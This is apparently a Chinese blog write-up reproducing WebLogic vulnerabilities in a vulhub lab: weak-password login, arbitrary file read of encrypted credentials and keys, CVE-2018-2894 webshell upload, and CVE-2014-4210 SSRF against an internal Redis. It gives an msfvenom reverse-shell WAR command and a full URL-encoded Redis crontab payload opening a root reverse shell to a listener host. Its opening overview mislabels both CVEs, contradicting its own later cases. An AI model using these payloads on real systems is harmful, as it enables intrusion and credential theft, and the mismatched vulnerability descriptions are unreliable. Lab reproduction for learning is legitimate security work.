免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
目录
案例二:Weblogic 任意文件上传漏洞(CVE-2018-2894)复现
案例三:Weblogic SSRF 漏洞(CVE-2014-4210)
Weblogic概述
定义:
WebLogic是由Oracle开发的企业级Java应用服务器(Java EE),用于构建、部署和管理分布式Web应用。其广泛应用于金融、电信、政府等领域,支持高并发和复杂业务逻辑。
核心功能:
-
支持EJB、JMS、Servlet/JSP等Java EE规范
-
提供集群、负载均衡、故障转移等高可用性机制
-
集成安全管理模块(如SSL、ACL)
一、弱密码漏洞(Weak-Password)
漏洞类型:身份验证缺陷
影响版本:所有使用默认凭证的WebLogic版本
CVE编号:无独立CVE(通常作为其他漏洞的辅助利用条件)
技术原理
-
WebLogic默认管理员账户为
weblogic
,初始密码为weblogic1
或welcome1
。 -
若未修改默认密码,攻击者可暴力破解或直接登录管理控制台(Console),获取服务器控制权。
攻击方式
访问管理控制台:
http://<target>:7001/console
尝试默认凭证登录,成功后执行以下操作:
部署恶意WAR文件(Webshell)
修改数据源配置窃取数据库凭据
触发反序列化漏洞实现远程代码执行(RCE)
防御措施
强制修改默认密码:
使用强密码策略(长度≥12位,含大小写字母、数字、特殊字符)。
限制控制台访问:
配置防火墙规则,仅允许特定IP访问7001端口。
启用账户锁定机制:
<!-- 在config.xml中配置 --> <sec:password-validation> <sec:lockout-enabled>true</sec:lockout-enabled> <sec:lockout-threshold>5</sec:lockout-threshold> </sec:password-validation>运行 HTML
二、CVE-2018-2894
漏洞类型:远程代码执行(RCE)
影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.2/3
CVSS评分:9.8(Critical)
技术原理
-
WebLogic WLS Core Components反序列化漏洞。
-
攻击者通过构造恶意的T3协议请求,触发
FilterExtractor
类的反序列化操作,导致任意代码执行。
攻击方式
-
利用T3协议发送恶意序列化对象:
# 伪代码示例(仅原理说明) send_t3_request(target_ip, crafted_serialized_payload)
-
执行命令:如创建Webshell、启动反向Shell等。
防御措施
-
升级补丁:
-
安装Oracle官方补丁(July 2018 CPU)。
-
-
禁用T3协议:
<protocols> <t3-enabled>false</t3-enabled> </protocols>
运行 HTML
-
网络隔离:
-
限制T3端口(默认7001)仅对内网开放。
-
三、CVE-2014-4210
漏洞类型:目录遍历/信息泄露
影响版本:WebLogic 10.0.2.0, 10.3.6.0
CVSS评分:5.0(Medium)
技术原理
-
WebLogic的
uddiexplorer
组件未对用户输入路径进行过滤,攻击者可利用../
遍历读取服务器任意文件。
攻击方式
-
构造恶意URL读取敏感文件:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&publicid=file:///etc/passwd HTTP/1.1
-
泄露文件示例:
-
/etc/passwd
-
DOMAIN_HOME/config/config.xml
-
防御措施
-
删除未使用组件:
rm -rf $WEBLOGIC_HOME/server/lib/uddiexplorer.war
-
配置访问控制:
-
在
web.xml
中限制uddiexplorer
路径的访问权限。
-
-
升级版本:
-
升级至WebLogic 12c及以上版本(已默认修复)。
-
四、修复措施
漏洞 | 修复方案 |
---|---|
弱密码 | 强制密码复杂度 + 定期轮换 + 启用账户锁定 |
CVE-2018-2894 | 安装Oracle补丁 + 禁用T3协议 + 监控异常反序列化请求 |
CVE-2014-4210 | 删除uddiexplorer 组件 + 配置文件访问白名单 |
五:环境安装准备
1.安装虚拟机
第一步安装虚拟机centos7和kali虚拟机(这是为了复现weblogic漏洞使用,这步我就不演示了如果不会安装网上有很多教程)centos7为漏洞靶机kali为攻击机
2.配置静态ip
编辑此虚拟机(改为VMnet8)
虚拟机网络设置
打开如下图
选择NAT模式(将ip设置为主机ip的前三位后一位必须为0.就比如我的主机ip为192.168.13.111,然后我设置如下ip为192.168.13.0)
登录centos修改配置文件
打开终端以root身份登录输入 vi /etc/sysconfig/network-scripts/ifcfg-ens33,修改如下内容
BOOTPROTO需要改成static
ONBOOT改成yes
修改完界面后添加如下内容
IPADDR="192.168.13.66"
NETMASK="255.255.255.0"
DNS1="114.114.114.114"
GATEWAY="192.168.13.2"
红色为你主机ip的前三为后面的66为自定义。GATEWAY中红色为主机ip后一位必须为2
修改后如下图
查看本机是否能ping通192.168.13.66,成功ping通
查看虚拟机是否能ping通百度,也是可以的
静态ip配置完成
3.连接Xshell
安装自行在网上找教程
打开Xshell,将需要连接的虚拟机ip填入
输入虚拟机账号密码,建议输入root账号密码
连接成功
4.替换yum源为阿里云源
备份备份官方yum源配置文件
cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
清理缓存并生成新的缓存
命令:
yum clean all
yum makecache
5.更新/安装Docker
查看是否安装Docker CE
yum list docker-ce --showduplicates | sort -r
Error: No matching Packages to list代表没有安装。
如果有结果,需要先卸载
yum erase docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-selinux \
docker-engine-selinux \
docker-engine \
docker-ce
删除相关配置文件
find /etc/systemd -name '*docker*' -exec rm -f {} \;
find /etc/systemd -name '*docker*' -exec rm -f {} \;
find /lib/systemd -name '*docker*' -exec rm -f {} \;
安装最新版Docker CE
添加yum源,命令:
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
更新 yum 缓存:
sudo yum makecache fast
先安装相关依赖:
yum install -y yum-utils device-mapper-persistent-data lvm2
安装Docker CE最新版(大概需要下载104M):
yum install docker-ce -y
验证安装结果
启动docker
systemctl start docker
查看docker版本
docker version
安装成功
设置Docker镜像加速
vi /etc/docker/daemon.json
{"registry-mirrors":["https://reg-mirror.qiniu.com/"]}
按Esc退出编辑模式,输入
:wq
重启服务
sudo systemctl daemon-reload
sudo systemctl restart docker
6.安装安装docker-compose
curl -L https://github.com/docker/compose/releases/download/1.29.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
遇到如上问题
通过阿里云镜像安装
curl -L http://mirrors.aliyun.com/docker-toolbox/linux/compose/v1.29.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose
安装成功
7.安装vulhub
mkdir -p /var/local/soft/
cd /var/local/soft/
yum -y install git
git clone https://github.com/vulhub/vulhub.git(我用这个安装不成功)
尝试了很多镜像都无法安装,最后我尝试了
成功安装
8.试运行靶场
运行fastjson漏洞靶场
cd fastjson/1.2.24-rce
docker-compose build
执行docker-compose up -d(我执行这个死活运行不起来)
解决办法
换源
sudo mkdir -p /etc/docker
vim /etc/docker/daemon.json
添加如下内容
{
"registry-mirrors" : ["https://docker.registry.cyou",
"https://docker-cf.registry.cyou",
"https://dockercf.jsdelivr.fyi",
"https://docker.jsdelivr.fyi",
"https://dockertest.jsdelivr.fyi",
"https://mirror.aliyuncs.com",
"https://dockerproxy.com",
"https://mirror.baidubce.com",
"https://docker.m.daocloud.io",
"https://docker.nju.edu.cn",
"https://docker.mirrors.sjtug.sjtu.edu.cn",
"https://docker.mirrors.ustc.edu.cn",
"https://mirror.iscas.ac.cn",
"https://docker.rainbond.cc",
"https://do.nark.eu.org",
"https://dc.j8.work",
"https://dockerproxy.com",
"https://gst6rzl9.mirror.aliyuncs.com",
"https://registry.docker-cn.com",
"http://hub-mirror.c.163.com",
"http://mirrors.ustc.edu.cn/",
"https://mirrors.tuna.tsinghua.edu.cn/",
"http://mirrors.sohu.com/"
],
"insecure-registries" : [
"registry.docker-cn.com",
"docker.mirrors.ustc.edu.cn"
],
"debug": true,
"experimental": false
}
sudo systemctl daemon-reload 重启生效
sudo systemctl restart docker 重启服务
docker info 检查配置,如果出现如下配置成功
最后执行docker compose up -d成功启动容器
安装成功
查看端口
docker-compose ps
docker ps
IP通过ip addr或者ifconfig查看
根据上面的IP和端口访问靶场:
成功访问到靶场
最后关闭靶场docker-compose down
docker-compose up -d // 拉取、启动docker-compose ps // 查看进程docker-compose stop // 停止每一次使用完靶场都需要停止命令,否则运行别的靶场不会成功
案例一:弱口令,任意文件读取(weak-password)
漏洞一:弱口令
启动靶场
cd weblogic
docker-compose build
docker-compose up -d
docker-compose ps
docker ps
首先打开bp抓包复现第一个弱口令漏洞
这里我使用集群炸弹攻击并象征性的选取的账号集和密码集
可以看到账号密码就是排在第一位的。弱口令漏洞复现成功
以root用户登录成功,经过我们筛查我们发现可以部署应用所以然后我们制作一个war包来获取网站的shell
通过kali虚拟机(还记得之前的redis漏洞利用方法吗?利用msf生成一个java架包的反弹连接)
命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.162 lport=4444 -f war -o java.war
生成war包成功然后我们在打开一个kali监听4444端口
监听成功
然后我们将生成的war包移动到win机器中
移动成功(使用xftp)
在部署中找到上载文件将war上传后后点击下一步就ok
上传成功(记得点击保存)
然后我们访问/java然后观察kali监听机的变化
成功连接
漏洞二:weak-password任意文件读取漏洞
漏洞利用点:http://192.168.13.66:7001/hello/file.jsp?path=/etc/passwd 可以成功读取到password文件
打开此链接
既然存在这个任意文件读取漏洞那我们是不是就可以修改路径访问其目录下的密码。但是weblogic密码使用AES加密所以我们需要再找到他的秘钥也就是需要找到密文和秘钥然后使用工具就可以拿到登录密码。
密文路径:192.168.13.66:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
秘钥路径:192.168.13.66:7001/hello/file.jsp?path=config/config.xml
使用bp抓包输入密文路径然后将其保存为111.bat文件
输入秘钥路径,复制秘钥
打开解密工具进行解密(文件为密文,密文为秘钥)
解密成功
有人可能会问,你怎么知道漏洞路径密文秘钥路径?
文件任意读取路径的来源
1. 目录遍历漏洞利用
通过构造包含特殊字符(如../
)的URL请求,尝试读取以下默认敏感文件路径:
/../../../../etc/passwd /lib/consoleapp/webapp/WEB-INF/classes/com/bea/console/version.properties
2. 日志文件泄露
Weblogic默认日志文件路径(可能包含敏感信息):
DOMAIN_HOME/servers/AdminServer/logs/access.log DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log
3. 配置文件定位
关键配置文件默认存储路径:
DOMAIN_HOME/config/config.xml # 包含加密后的数据源密码
DOMAIN_HOME/security/boot.properties # 加密的管理员密码
4.密文与密钥路径的关联
加密密码存储机制
Weblogic使用AES加密算法保护的敏感文件:
boot.properties
中的password
字段
config.xml
中的数据库连接密码
密钥存储位置
加密密钥默认存放路径:
DOMAIN_HOME/security/DemoIdentity.jks # 默认密钥库
DOMAIN_HOME/security/DemoTrust.jks # 信任库
密文解密依赖
需同时获取以下内容方可解密:
密文文件(如
boot.properties
)对应的密钥库文件(
DemoIdentity.jks
)加密使用的盐值(Salt)和初始化向量(IV)
4.利用弱口令
或现利用弱口令登录管理后台然后注入一句话木马利用蚁剑连接目录敏感文件
案例二:Weblogic 任意文件上传漏洞(CVE-2018-2894)复现
此漏洞由于管理员开启了web测试页导致任意文件上传,所以我们需要先登录到后台开启这个功能才能复现
跳转到靶场目录
开启环境docker-compose up -d(第一次打开需要几分钟时间,耐心等待)
启动成功
查看靶场登录密码
成功登录进去,点击base_domain可看到设置页面,然后点击高级,勾选启用Web服务测试页。然后点击保存
访问http://192.168.13.66:7001/ws_utc/config.do如果能成功说明web测试页功能未关闭。
修改工作路径:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(将其放入有写入执行权限的目录)
然后点击安全将事先准备好的木马文件上传
按F12键将箭头移动到“1”就可以找到时间戳
然后就可以访问木马文件:http://192.168.13.66:7001/ws_utc/css/config/keystore/1742829759493_dama.jsp
木马文件密码为password
然后就可以通过这个木马文件任意操作命令
例如扫描端口
总结:漏洞原因是由于管理人员忘记关闭web测试页导致漏洞的发生
案例三:Weblogic SSRF 漏洞(CVE-2014-4210)
第一步:关闭上一个靶场开启这个靶场
第二步:获取redis容器内网ip :172.20.0.2(这个在实战中是利用SSRF漏洞探测内网ip而来这个为了省时间就直接给)
第三步:漏洞发生点
通过bp抓包查看,仔细查看
Operato,是请求一个url, 访问一个可以访问的IP
那我们先利用这个点探测http://127.0.0.1:80
报错说发生没有这个地址无法连接
然后我们在尝试探测http://192.168.13.66 看看报错信息是什么
报错信息说收到来自这个ip的响应但不是soap格式,这就不能说明这个ip的这个端口开放。所以我们可以通过报错信息来探测内网ip
经过我们的探测发现redis的172.20.0.2:6379端口是开放的,所以我们就可以通过这个存在ssrf漏洞的服务器攻击内网redis
构建payload
payload(反弹连接,参考之前文章--redis漏洞的)
Payload:set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >&
/dev/tcp/192.168.13.130/7777 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
根据redis协议我们需要将payload进行URL编码然后将%0A替换成 %0D%0A(Redis协议以 CRLF 结尾(即“\r\n”))
通过以下网站实现
http://www.kuquidc.com/enc/urlencode.php
网站编码后:set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0A%2Fdev%2Ftcp%2F192.168.13.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20config%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave
将%0A替换为%0D%0A
最终payload:
operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%
5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-
6%20root%20bash%20-c%20'sh%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.13.130%2F7777%200%3E%
261'%20%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2F
etc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0
D%0Alalala
启动kali监听nc -lvp 7777
打开bp注入payload,然后查看是否连接成功
连接成功
如果你反复无法连接成功查看响应格式是否正确
总结
本文具体介绍了Weblogic漏洞的三个案例,如果你通过本文安装练习遇到诸多问题可以和博主联系或自行使用AI工具解决。还有五个案例后续会具体介绍,感兴趣请关注。
(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)